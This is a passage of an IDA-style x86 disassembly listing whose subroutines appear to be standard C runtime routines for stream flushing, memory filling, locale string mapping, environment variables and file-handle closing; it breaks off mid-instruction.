CHUNK FOR sub_405B7A ; =============== S U B R O U T I N E ======================================= sub_406B74 proc near ; CODE XREF: sub_406C14+2Dp ; sub_406C14+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_406B86 push esi call sub_406C14 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_406B86: ; CODE XREF: sub_406B74+7j push esi call sub_406BAF test eax, eax pop ecx jz short loc_406B96 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_406B96: ; CODE XREF: sub_406B74+1Bj test byte ptr [esi+0Dh], 40h jz short loc_406BAB push dword ptr [esi+10h] call sub_40703A neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_406BAB: ; CODE XREF: sub_406B74+26j xor eax, eax pop esi retn sub_406B74 endp ; =============== S U B R O U T I N E ======================================= sub_406BAF proc near ; CODE XREF: sub_406B74+13p ; sub_406FE4+1Ap arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_406BFC test ax, 108h jz short loc_406BFC mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_406BFC push edi push eax push dword ptr [esi+10h] call sub_4058BE add esp, 0Ch cmp eax, edi jnz short loc_406BF5 mov eax, [esi+0Ch] test al, 80h jz short loc_406BFC and al, 0FDh mov [esi+0Ch], eax jmp short loc_406BFC ; --------------------------------------------------------------------------- loc_406BF5: ; CODE XREF: sub_406BAF+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_406BFC: ; CODE XREF: sub_406BAF+14j ; sub_406BAF+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_406BAF endp ; =============== S U B R O U T I N E ======================================= sub_406C0B proc near ; CODE XREF: sub_405B7Ap push 1 call sub_406C14 pop ecx retn sub_406C0B endp ; =============== S U B R O U T I N E ======================================= sub_406C14 proc near ; CODE XREF: sub_406B74+Ap ; sub_406C0B+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_518540, esi jle short loc_406C72 loc_406C25: ; CODE XREF: sub_406C14+5Cj mov eax, dword_517528 mov eax, [eax+esi*4] test eax, eax jz short loc_406C69 mov ecx, [eax+0Ch] test cl, 83h jz short loc_406C69 cmp [esp+0Ch+arg_0], 1 jnz short loc_406C4F push eax call sub_406B74 cmp eax, 0FFFFFFFFh pop ecx jz short loc_406C69 inc ebx jmp short loc_406C69 ; --------------------------------------------------------------------------- loc_406C4F: ; CODE XREF: sub_406C14+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_406C69 test cl, 2 jz short loc_406C69 push eax call sub_406B74 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_406C69 or edi, eax loc_406C69: ; CODE XREF: sub_406C14+1Bj ; sub_406C14+23j ... inc esi cmp esi, dword_518540 jl short loc_406C25 loc_406C72: ; CODE XREF: sub_406C14+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_406C7D mov eax, edi loc_406C7D: ; CODE XREF: sub_406C14+65j pop edi pop esi pop ebx retn sub_406C14 endp ; =============== S U B R O U T I N E ======================================= sub_406C81 proc near ; CODE XREF: sub_403D8C+3AAp ; sub_403D8C+3CBp ... push 2 call sub_402FD6 pop ecx retn sub_406C81 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_406C90 proc near ; CODE XREF: sub_405D65+EFp ; sub_406A9F+6Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_406CE3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_406CD7 neg ecx and ecx, 3 jz short loc_406CB9 sub edx, ecx loc_406CB3: ; CODE XREF: sub_406C90+27j mov [edi], al inc edi dec ecx jnz short loc_406CB3 loc_406CB9: ; CODE XREF: sub_406C90+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_406CD7 rep stosd test edx, edx jz short loc_406CDD loc_406CD7: ; CODE XREF: sub_406C90+18j ; sub_406C90+3Fj ... mov [edi], al inc edi dec edx jnz short loc_406CD7 loc_406CDD: ; CODE XREF: sub_406C90+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_406CE3: ; CODE XREF: sub_406C90+Aj mov eax, [esp+arg_0] retn sub_406C90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406CE8 proc near ; CODE XREF: sub_40612F+BEp ; sub_40612F+E6p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_408540 push offset sub_402E08 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_409CF4, edi jnz short loc_406D5E push edi push edi push 1 pop ebx push ebx push offset dword_4084F0 mov esi, 100h push esi push edi call dword_408014 test eax, eax jz short loc_406D3C mov dword_409CF4, ebx jmp short loc_406D5E ; --------------------------------------------------------------------------- loc_406D3C: ; CODE XREF: sub_406CE8+4Aj push edi push edi push ebx push offset dword_4084EC push esi push edi call dword_408018 test eax, eax jz loc_406E76 mov dword_409CF4, 2 loc_406D5E: ; CODE XREF: sub_406CE8+2Ej ; sub_406CE8+52j cmp [ebp+arg_C], edi jle short loc_406D73 push [ebp+arg_C] push [ebp+arg_8] call sub_406F0C pop ecx pop ecx mov [ebp+arg_C], eax loc_406D73: ; CODE XREF: sub_406CE8+79j mov eax, dword_409CF4 cmp eax, 2 jnz short loc_406D9A push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_408018 jmp loc_406E78 ; --------------------------------------------------------------------------- loc_406D9A: ; CODE XREF: sub_406CE8+93j cmp eax, 1 jnz loc_406E76 cmp [ebp+arg_18], edi jnz short loc_406DB0 mov eax, dword_409CEC mov [ebp+arg_18], eax loc_406DB0: ; CODE XREF: sub_406CE8+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] call dword_40803C mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_406E76 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_402CE0 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_406E0B ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_406E0B: ; CODE XREF: sub_406CE8+10Ej cmp [ebp+var_24], edi jz short loc_406E76 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call dword_40803C test eax, eax jz short loc_406E76 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_408014 mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_406E76 test byte ptr [ebp+arg_4+1], 4 jz short loc_406E8A cmp [ebp+arg_14], edi jz loc_406F05 cmp esi, [ebp+arg_14] jg short loc_406E76 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_408014 test eax, eax jnz loc_406F05 loc_406E76: ; CODE XREF: sub_406CE8+66j ; sub_406CE8+B5j ... xor eax, eax loc_406E78: ; CODE XREF: sub_406CE8+ADj ; sub_406CE8+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_406E8A: ; CODE XREF: sub_406CE8+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_402CE0 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_406EBE ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_406EBE: ; CODE XREF: sub_406CE8+1C2j cmp ebx, edi jz short loc_406E76 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_408014 test eax, eax jz short loc_406E76 cmp [ebp+arg_14], edi push edi push edi jnz short loc_406EE5 push edi push edi jmp short loc_406EEB ; --------------------------------------------------------------------------- loc_406EE5: ; CODE XREF: sub_406CE8+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_406EEB: ; CODE XREF: sub_406CE8+1FBj push esi push ebx push 220h push [ebp+arg_18] call dword_4080C0 mov esi, eax cmp esi, edi jz loc_406E76 loc_406F05: ; CODE XREF: sub_406CE8+165j ; sub_406CE8+188j mov eax, esi jmp loc_406E78 sub_406CE8 endp ; =============== S U B R O U T I N E ======================================= sub_406F0C proc near ; CODE XREF: sub_406CE8+81p ; sub_407091+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_406F29 loc_406F1C: ; CODE XREF: sub_406F0C+1Bj cmp byte ptr [eax], 0 jz short loc_406F29 inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_406F1C loc_406F29: ; CODE XREF: sub_406F0C+Ej ; sub_406F0C+13j cmp byte ptr [eax], 0 pop esi jnz short loc_406F34 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_406F34: ; CODE XREF: sub_406F0C+21j mov eax, edx retn sub_406F0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406F37 proc near ; CODE XREF: sub_406904+5Ep ; sub_407495+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_406F44 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_406F44: ; CODE XREF: sub_406F37+7j push dword_5172FC push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_517524 call sub_407091 add esp, 1Ch test eax, eax jnz short loc_406F71 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_406F71: ; CODE XREF: sub_406F37+31j add eax, 0FFFFFFFEh pop ebp retn sub_406F37 endp ; =============== S U B R O U T I N E ======================================= sub_406F76 proc near ; CODE XREF: sub_406904+1Ep ; sub_40730E+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_409AA0 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_406FD7 mov ebx, dword_4080C0 loc_406F8F: ; CODE XREF: sub_406F76+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx mov ebp, eax cmp ebp, edi jz short loc_406FDF push ebp call sub_4028C6 cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_406FDF push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx test eax, eax jz short loc_406FDF push edi push [esp+18h+var_4] call sub_40730E mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_406F8F loc_406FD7: ; CODE XREF: sub_406F76+11j xor eax, eax loc_406FD9: ; CODE XREF: sub_406F76+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_406FDF: ; CODE XREF: sub_406F76+29j ; sub_406F76+38j ... or eax, 0FFFFFFFFh jmp short loc_406FD9 sub_406F76 endp ; =============== S U B R O U T I N E ======================================= sub_406FE4 proc near ; CODE XREF: sub_405B7A+FC4p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_406FF9 or eax, 0FFFFFFFFh jmp short loc_407033 ; --------------------------------------------------------------------------- loc_406FF9: ; CODE XREF: sub_406FE4+Ej test al, 83h jz short loc_407031 push esi call sub_406BAF push esi mov edi, eax call sub_407607 push dword ptr [esi+10h] call sub_407554 add esp, 0Ch test eax, eax jge short loc_40701F or edi, 0FFFFFFFFh jmp short loc_407031 ; --------------------------------------------------------------------------- loc_40701F: ; CODE XREF: sub_406FE4+34j mov eax, [esi+1Ch] test eax, eax jz short loc_407031 push eax call sub_402B18 and dword ptr [esi+1Ch], 0 pop ecx loc_407031: ; CODE XREF: sub_406FE4+17j ; sub_406FE4+39j ... mov eax, edi loc_407033: ; CODE XREF: sub_406FE4+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_406FE4 endp ; =============== S U B R O U T I N E ======================================= sub_40703A proc near ; CODE XREF: sub_406B74+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_518660 jnb short loc_407083 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_518560[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_407083 push eax call sub_406A62 pop ecx push eax call dword_408010 test eax, eax jnz short loc_407078 call dword_408044 jmp short loc_40707A ; --------------------------------------------------------------------------- loc_407078: ; CODE XREF: sub_40703A+34j xor eax, eax loc_40707A: ; CODE XREF: sub_40703A+3Cj test eax, eax jz short locret_407090 mov dword_409A74, eax loc_407083: ; CODE XREF: sub_40703A+Aj ; sub_40703A+22j mov dword_409A70, 9 or eax, 0FFFFFFFFh locret_407090: ; CODE XREF: sub_40703A+42j retn sub_40703A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407091 proc near ; CODE XREF: sub_406F37+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_408558 push offset sub_402E08 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_409CF8, ebx push 1 pop edi jnz short loc_407104 push edi mov eax, offset dword_4084F0 push eax push edi push eax push ebx push ebx call dword_408034 test eax, eax jz short loc_4070E1 mov dword_409CF8, edi jmp short loc_407104 ; --------------------------------------------------------------------------- loc_4070E1: ; CODE XREF: sub_407091+46j push edi mov eax, offset dword_4084EC push eax push edi push eax push ebx push ebx call dword_40800C test eax, eax jz loc_4072FA mov dword_409CF8, 2 loc_407104: ; CODE XREF: sub_407091+31j ; sub_407091+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_40711B push esi push [ebp+arg_8] call sub_406F0C pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_40711B: ; CODE XREF: sub_407091+78j cmp [ebp+arg_14], ebx jle short loc_407130 push [ebp+arg_14] push [ebp+arg_10] call sub_406F0C pop ecx pop ecx mov [ebp+arg_14], eax loc_407130: ; CODE XREF: sub_407091+8Dj mov eax, dword_409CF8 cmp eax, 2 jnz short loc_407155 push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_40800C jmp loc_4072FC ; --------------------------------------------------------------------------- loc_407155: ; CODE XREF: sub_407091+A7j cmp eax, edi jnz loc_4072FA cmp [ebp+arg_18], ebx jnz short loc_40716A mov eax, dword_409CEC mov [ebp+arg_18], eax loc_40716A: ; CODE XREF: sub_407091+CFj cmp esi, ebx jz short loc_407177 cmp [ebp+arg_14], ebx jnz loc_40720F loc_407177: ; CODE XREF: sub_407091+DBj cmp esi, [ebp+arg_14] jnz short loc_407184 loc_40717C: ; CODE XREF: sub_407091+13Cj ; sub_407091+16Dj push 2 loc_40717E: ; CODE XREF: sub_407091+146j pop eax jmp loc_4072FC ; --------------------------------------------------------------------------- loc_407184: ; CODE XREF: sub_407091+E9j cmp [ebp+arg_14], edi jle short loc_407190 loc_407189: ; CODE XREF: sub_407091+151j ; sub_407091+159j ... mov eax, edi jmp loc_4072FC ; --------------------------------------------------------------------------- loc_407190: ; CODE XREF: sub_407091+F6j cmp esi, edi jg short loc_4071D5 lea eax, [ebp+var_3C] push eax push [ebp+arg_18] call dword_408030 test eax, eax jz loc_4072FA cmp esi, ebx jle short loc_4071D9 cmp [ebp+var_3C], 2 jb short loc_4071D5 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_4071D5 loc_4071BB: ; CODE XREF: sub_407091+142j mov dl, [eax+1] cmp dl, bl jz short loc_4071D5 mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_4071CF cmp cl, dl jbe short loc_40717C loc_4071CF: ; CODE XREF: sub_407091+138j inc eax inc eax cmp [eax], bl jnz short loc_4071BB loc_4071D5: ; CODE XREF: sub_407091+101j ; sub_407091+120j ... push 3 jmp short loc_40717E ; --------------------------------------------------------------------------- loc_4071D9: ; CODE XREF: sub_407091+11Aj cmp [ebp+arg_14], ebx jle short loc_40720F cmp [ebp+var_3C], 2 jb short loc_407189 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_407189 loc_4071EC: ; CODE XREF: sub_407091+177j mov dl, [eax+1] cmp dl, bl jz short loc_407189 mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_407204 cmp cl, dl jbe loc_40717C loc_407204: ; CODE XREF: sub_407091+169j inc eax inc eax cmp [eax], bl jnz short loc_4071EC jmp loc_407189 ; --------------------------------------------------------------------------- loc_40720F: ; CODE XREF: sub_407091+E0j ; sub_407091+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] call dword_40803C mov [ebp+var_1C], eax cmp eax, ebx jz loc_4072FA mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_402CE0 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_40725E ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_40725E: ; CODE XREF: sub_407091+1B5j cmp [ebp+var_24], ebx jz loc_4072FA push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_40803C call esi test eax, eax jz short loc_4072FA push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_4072FA mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_402CE0 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_4072C9 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_4072C9: ; CODE XREF: sub_407091+224j cmp edi, ebx jz short loc_4072FA push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] call dword_40803C test eax, eax jz short loc_4072FA push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_408034 jmp short loc_4072FC ; --------------------------------------------------------------------------- loc_4072FA: ; CODE XREF: sub_407091+63j ; sub_407091+C6j ... xor eax, eax loc_4072FC: ; CODE XREF: sub_407091+BFj ; sub_407091+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_407091 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40730E proc near ; CODE XREF: sub_406F76+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_407372 push 3Dh push [ebp+arg_0] call sub_407752 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_407372 cmp [ebp+arg_0], esi jz short loc_407372 mov eax, dword_409A98 xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_409A9C jnz short loc_407358 push eax call sub_4074ED pop ecx mov dword_409A98, eax loc_407358: ; CODE XREF: sub_40730E+3Cj cmp eax, edi jnz short loc_4073B0 cmp [ebp+arg_4], edi jz short loc_40737A cmp dword_409AA0, edi jz short loc_40737A call sub_406F76 test eax, eax jz short loc_4073B0 loc_407372: ; CODE XREF: sub_40730E+Dj ; sub_40730E+22j ... or eax, 0FFFFFFFFh loc_407375: ; CODE XREF: sub_40730E+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40737A: ; CODE XREF: sub_40730E+51j ; sub_40730E+59j cmp ebx, edi jnz loc_40748E push 4 call sub_4028C6 cmp eax, edi pop ecx mov dword_409A98, eax jz short loc_407372 mov [eax], edi cmp dword_409AA0, edi jnz short loc_4073B0 push 4 call sub_4028C6 cmp eax, edi pop ecx mov dword_409AA0, eax jz short loc_407372 mov [eax], edi loc_4073B0: ; CODE XREF: sub_40730E+4Cj ; sub_40730E+62j ... sub esi, [ebp+arg_0] mov edi, dword_409A98 mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_407495 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_407410 cmp dword ptr [edi], 0 jz short loc_407410 test ebx, ebx jz short loc_407408 push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_402B18 pop ecx loc_4073E2: ; CODE XREF: sub_40730E+E2j cmp dword ptr [edi], 0 jz short loc_4073F2 mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_4073E2 ; --------------------------------------------------------------------------- loc_4073F2: ; CODE XREF: sub_40730E+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_407632 pop ecx test eax, eax pop ecx jz short loc_407442 jmp short loc_40743D ; --------------------------------------------------------------------------- loc_407408: ; CODE XREF: sub_40730E+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_407442 ; --------------------------------------------------------------------------- loc_407410: ; CODE XREF: sub_40730E+BDj ; sub_40730E+C2j test ebx, ebx jnz short loc_40748E test esi, esi jge short loc_40741A neg esi loc_40741A: ; CODE XREF: sub_40730E+108j lea eax, ds:8[esi*4] push eax push edi call sub_407632 pop ecx test eax, eax pop ecx jz loc_407372 mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_40743D: ; CODE XREF: sub_40730E+F8j mov dword_409A98, eax loc_407442: ; CODE XREF: sub_40730E+F6j ; sub_40730E+100j cmp [ebp+arg_4], 0 jz short loc_40748E push [ebp+arg_0] call sub_405B90 inc eax inc eax push eax call sub_4028C6 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40748E push [ebp+arg_0] push esi call sub_4062D0 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi call dword_408060 push esi call sub_402B18 pop ecx loc_40748E: ; CODE XREF: sub_40730E+6Ej ; sub_40730E+104j ... xor eax, eax jmp loc_407375 sub_40730E endp ; =============== S U B R O U T I N E ======================================= sub_407495 proc near ; CODE XREF: sub_40730E+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_409A98 push edi mov eax, [esi] test eax, eax jz short loc_4074D0 mov edi, [esp+8+arg_4] loc_4074A7: ; CODE XREF: sub_407495+39j push edi push eax push [esp+10h+arg_0] call sub_406F37 add esp, 0Ch test eax, eax jnz short loc_4074C6 mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_4074E0 test al, al jz short loc_4074E0 loc_4074C6: ; CODE XREF: sub_407495+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_4074A7 loc_4074D0: ; CODE XREF: sub_407495+Cj mov eax, esi sub eax, dword_409A98 sar eax, 2 neg eax loc_4074DD: ; CODE XREF: sub_407495+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4074E0: ; CODE XREF: sub_407495+2Bj ; sub_407495+2Fj mov eax, esi sub eax, dword_409A98 sar eax, 2 jmp short loc_4074DD sub_407495 endp ; =============== S U B R O U T I N E ======================================= sub_4074ED proc near ; CODE XREF: sub_40730E+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_4074FC xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_4074FC: ; CODE XREF: sub_4074ED+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_40750E loc_407504: ; CODE XREF: sub_4074ED+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_407504 loc_40750E: ; CODE XREF: sub_4074ED+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_4028C6 mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_40752F push 9 call sub_402FD6 pop ecx loc_40752F: ; CODE XREF: sub_4074ED+38j mov eax, [edi] mov ebx, edi loc_407533: ; CODE XREF: sub_4074ED+5Bj test eax, eax jz short loc_40754A push eax add ebx, 4 call sub_4077C5 mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_407533 ; --------------------------------------------------------------------------- loc_40754A: ; CODE XREF: sub_4074ED+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_4074ED endp ; =============== S U B R O U T I N E ======================================= sub_407554 proc near ; CODE XREF: sub_406FE4+2Ap arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_518660 jnb loc_4075EE mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:518560h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_4075EE push edi call sub_406A62 cmp eax, 0FFFFFFFFh pop ecx jz short loc_4075CD cmp edi, 1 jz short loc_40759B cmp edi, 2 jnz short loc_4075B1 loc_40759B: ; CODE XREF: sub_407554+40j push 2 call sub_406A62 push 1 mov ebp, eax call sub_406A62 pop ecx cmp eax, ebp pop ecx jz short loc_4075CD loc_4075B1: ; CODE XREF: sub_407554+45j push edi call sub_406A62 pop ecx push eax call dword_408090 test eax, eax jnz short loc_4075CD call dword_408044 mov ebp, eax jmp short loc_4075CF ; --------------------------------------------------------------------------- loc_4075CD: ; CODE XREF: sub_407554+3Bj ; sub_407554+5Bj ... xor ebp, ebp loc_4075CF: ; CODE XREF: sub_407554+77j push edi call sub_4069E8 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_4075EA push ebp call sub_406981 pop ecx jmp short loc_4075FF ; --------------------------------------------------------------------------- loc_4075EA: ; CODE XREF: sub_407554+8Bj xor eax, eax jmp short loc_407602 ; --------------------------------------------------------------------------- loc_4075EE: ; CODE XREF: sub_407554+Ej ; sub_407554+2Fj and dword_409A74, 0 mov dword_409A70, 9 loc_4075FF: ; CODE XREF: sub_407554+94j or eax, 0FFFFFFFFh loc_407602: ; CODE XREF: sub_407554+98j pop edi pop esi pop ebp pop ebx retn sub_407554 endp ; =============== S U B R O U T I N E ======================================= sub_407607 proc near ; CODE XREF: sub_406FE4+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_407630 test al, 8 jz short loc_407630 push dword ptr [esi+8] call sub_402B18 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_407630: ; CODE XREF: sub_407607+Aj ; sub_407607+Ej pop esi retn sub_407607 endp ; =============== S U B R O U T I N E ======================================= sub_407632 proc near ; CODE XREF: sub_40730E+EDp ; sub_40730E+115p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] push ebp push esi test ebx, ebx push edi jnz short loc_40764D push [esp+10h+arg_4] call sub_4028C6 pop ecx jmp loc_40774D ; --------------------------------------------------------------------------- loc_40764D: ; CODE XREF: sub_407632+Aj mov esi, [esp+10h+arg_4] test esi, esi jnz short loc_407663 push ebx call sub_402B18 pop ecx loc_40765C: ; CODE XREF: sub_407632+114j xor eax, eax jmp 